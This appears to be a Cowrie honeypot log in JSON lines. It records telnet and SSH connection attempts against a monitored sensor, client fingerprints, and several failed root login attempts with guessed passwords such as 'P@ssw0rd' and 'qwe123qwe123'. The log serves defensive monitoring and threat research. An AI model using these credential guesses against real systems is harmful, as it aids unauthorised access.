{"eventid":"cowrie.login.failed","username":"root","password":"blablabla","message":"login attempt [root/blablabla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:47.233641Z","src_ip":"87.251.79.125","session":"62a13924c8c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.17849373817444,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:47.753046Z","src_ip":"152.42.224.71","session":"0567288fe0ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:48.309028Z","src_ip":"87.251.79.125","session":"62a13924c8c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.787771701812744,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:49.740138Z","src_ip":"152.42.224.71","session":"e1fac2846a83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39350,"dst_ip":"10.17.0.5","dst_port":23,"session":"9da8d016f99b","protocol":"telnet","message":"New connection: 152.42.224.71:39350 (10.17.0.5:23) [session: 9da8d016f99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:51.243971Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39356,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b53da62d96","protocol":"telnet","message":"New connection: 152.42.224.71:39356 (10.17.0.5:23) [session: 28b53da62d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:51.364563Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39346,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3b9adf953c","protocol":"telnet","message":"New connection: 152.42.224.71:39346 (10.17.0.5:23) [session: 3e3b9adf953c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:51.625160Z"}
{"eventid":"cowrie.session.closed","duration":34.652770042419434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:36:53.572186Z","src_ip":"152.42.224.71","session":"989edd2a5427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45440,"dst_ip":"10.17.0.5","dst_port":23,"session":"73480eacbcbd","protocol":"telnet","message":"New connection: 152.42.224.71:45440 (10.17.0.5:23) [session: 73480eacbcbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:00.836127Z"}
{"eventid":"cowrie.session.closed","duration":51.36774396896362,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:01.035120Z","src_ip":"152.42.224.71","session":"cc1a1f0218e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33830,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f560ff9a79","protocol":"telnet","message":"New connection: 152.42.224.71:33830 (10.17.0.5:23) [session: 18f560ff9a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:16.276893Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33832,"dst_ip":"10.17.0.5","dst_port":23,"session":"d30e83fb071a","protocol":"telnet","message":"New connection: 152.42.224.71:33832 (10.17.0.5:23) [session: d30e83fb071a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:22.403696Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33846,"dst_ip":"10.17.0.5","dst_port":23,"session":"730964da5e6c","protocol":"telnet","message":"New connection: 152.42.224.71:33846 (10.17.0.5:23) [session: 730964da5e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:22.662050Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33848,"dst_ip":"10.17.0.5","dst_port":23,"session":"e720b00859cd","protocol":"telnet","message":"New connection: 152.42.224.71:33848 (10.17.0.5:23) [session: e720b00859cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:23.687164Z"}
{"eventid":"cowrie.session.closed","duration":103.40549349784851,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:24.007764Z","src_ip":"152.42.224.71","session":"82010148ccc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33860,"dst_ip":"10.17.0.5","dst_port":23,"session":"1952a923ab28","protocol":"telnet","message":"New connection: 152.42.224.71:33860 (10.17.0.5:23) [session: 1952a923ab28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:24.447007Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33874,"dst_ip":"10.17.0.5","dst_port":23,"session":"f48f5439bfd2","protocol":"telnet","message":"New connection: 152.42.224.71:33874 (10.17.0.5:23) [session: f48f5439bfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:26.193955Z"}
{"eventid":"cowrie.session.closed","duration":36.72437858581543,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:28.349438Z","src_ip":"152.42.224.71","session":"3e3b9adf953c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b0eba3a764","protocol":"telnet","message":"New connection: 152.42.224.71:40196 (10.17.0.5:23) [session: d7b0eba3a764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:29.893362Z"}
{"eventid":"cowrie.session.closed","duration":57.42216920852661,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:29.988046Z","src_ip":"152.42.224.71","session":"9f03be4fd502","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":60712,"dst_ip":"159.203.135.109","dst_port":22,"session":"89d67b395376","protocol":"ssh","message":"New connection: 103.122.221.179:60712 (159.203.135.109:22) [session: 89d67b395376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:30.414662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:30.419566Z","src_ip":"103.122.221.179","session":"89d67b395376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:30.680076Z","src_ip":"103.122.221.179","session":"89d67b395376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem2002","message":"login attempt [root/artem2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:31.462602Z","src_ip":"103.122.221.179","session":"89d67b395376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40198,"dst_ip":"10.17.0.5","dst_port":23,"session":"56641ebe12c0","protocol":"telnet","message":"New connection: 152.42.224.71:40198 (10.17.0.5:23) [session: 56641ebe12c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:32.251797Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:32.725557Z","src_ip":"103.122.221.179","session":"89d67b395376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40202,"dst_ip":"10.17.0.5","dst_port":23,"session":"809e1fb4411e","protocol":"telnet","message":"New connection: 152.42.224.71:40202 (10.17.0.5:23) [session: 809e1fb4411e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:33.914710Z"}
{"eventid":"cowrie.session.closed","duration":43.36638951301575,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:34.730859Z","src_ip":"152.42.224.71","session":"28b53da62d96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40204,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d04e97804a8","protocol":"telnet","message":"New connection: 152.42.224.71:40204 (10.17.0.5:23) [session: 9d04e97804a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:34.909917Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55996,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d261330f12b","protocol":"telnet","message":"New connection: 152.42.224.71:55996 (10.17.0.5:23) [session: 1d261330f12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:38.025925Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56006,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb8287ae1e7b","protocol":"telnet","message":"New connection: 152.42.224.71:56006 (10.17.0.5:23) [session: eb8287ae1e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:42.592336Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56022,"dst_ip":"10.17.0.5","dst_port":23,"session":"704796abea4c","protocol":"telnet","message":"New connection: 152.42.224.71:56022 (10.17.0.5:23) [session: 704796abea4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:42.844301Z"}
{"eventid":"cowrie.session.closed","duration":53.411927223205566,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:44.655794Z","src_ip":"152.42.224.71","session":"9da8d016f99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59818,"dst_ip":"10.17.0.5","dst_port":23,"session":"26919644a85a","protocol":"telnet","message":"New connection: 152.42.224.71:59818 (10.17.0.5:23) [session: 26919644a85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:47.473487Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":49804,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e02225efb46","protocol":"telnet","message":"New connection: 146.19.210.8:49804 (10.17.0.5:23) [session: 7e02225efb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:48.811474Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59834,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce4ab91542de","protocol":"telnet","message":"New connection: 152.42.224.71:59834 (10.17.0.5:23) [session: ce4ab91542de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:48.865425Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":53644,"dst_ip":"10.17.0.5","dst_port":22,"session":"222f3c0fab84","protocol":"ssh","message":"New connection: 43.173.85.181:53644 (10.17.0.5:22) [session: 222f3c0fab84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:49.982760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:49.991194Z","src_ip":"43.173.85.181","session":"222f3c0fab84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:50.062282Z","src_ip":"43.173.85.181","session":"222f3c0fab84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootadmin","password":"P@ssw0rd","message":"login attempt [rootadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:50.366149Z","src_ip":"43.173.85.181","session":"222f3c0fab84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:51.437277Z","src_ip":"43.173.85.181","session":"222f3c0fab84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.247756242752075,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:51.934760Z","src_ip":"152.42.224.71","session":"e720b00859cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.343318223953247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:53.005258Z","src_ip":"152.42.224.71","session":"730964da5e6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.820573568344116,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:56.014388Z","src_ip":"152.42.224.71","session":"f48f5439bfd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43712,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf5ffee8b1b","protocol":"telnet","message":"New connection: 152.42.224.71:43712 (10.17.0.5:23) [session: 4cf5ffee8b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:57.547706Z"}
{"eventid":"cowrie.session.closed","duration":42.21331977844238,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:58.490093Z","src_ip":"152.42.224.71","session":"18f560ff9a79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43724,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f62ba31576","protocol":"telnet","message":"New connection: 152.42.224.71:43724 (10.17.0.5:23) [session: 57f62ba31576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:37:58.803514Z"}
{"eventid":"cowrie.session.closed","duration":28.67482328414917,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:00.926496Z","src_ip":"152.42.224.71","session":"56641ebe12c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43738,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed4cb9b82ac","protocol":"telnet","message":"New connection: 152.42.224.71:43738 (10.17.0.5:23) [session: bed4cb9b82ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:01.860381Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43750,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ed91ceec61","protocol":"telnet","message":"New connection: 152.42.224.71:43750 (10.17.0.5:23) [session: 47ed91ceec61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:06.813184Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":44828,"dst_ip":"159.203.135.109","dst_port":22,"session":"61936684994d","protocol":"ssh","message":"New connection: 193.228.128.84:44828 (159.203.135.109:22) [session: 61936684994d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:07.988930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:07.993913Z","src_ip":"193.228.128.84","session":"61936684994d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:08.096991Z","src_ip":"193.228.128.84","session":"61936684994d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123qwe123","message":"login attempt [root/qwe123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:08.407908Z","src_ip":"193.228.128.84","session":"61936684994d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:09.514261Z","src_ip":"193.228.128.84","session":"61936684994d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36516,"dst_ip":"159.203.135.109","dst_port":22,"session":"df7c54b6e275","protocol":"ssh","message":"New connection: 62.133.62.83:36516 (159.203.135.109:22) [session: df7c54b6e275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:10.641985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:10.646986Z","src_ip":"62.133.62.83","session":"df7c54b6e275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55688,"dst_ip":"10.17.0.5","dst_port":23,"session":"eddc930c2655","protocol":"telnet","message":"New connection: 152.42.224.71:55688 (10.17.0.5:23) [session: eddc930c2655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:11.003145Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"648bd7f82930","protocol":"telnet","message":"New connection: 152.42.224.71:55704 (10.17.0.5:23) [session: 648bd7f82930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:12.022200Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:12.033334Z","src_ip":"62.133.62.83","session":"df7c54b6e275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.67115759849548,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:13.524062Z","src_ip":"152.42.224.71","session":"24f6afc0de91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55714,"dst_ip":"10.17.0.5","dst_port":23,"session":"3028fa448d5e","protocol":"telnet","message":"New connection: 152.42.224.71:55714 (10.17.0.5:23) [session: 3028fa448d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:15.471384Z"}
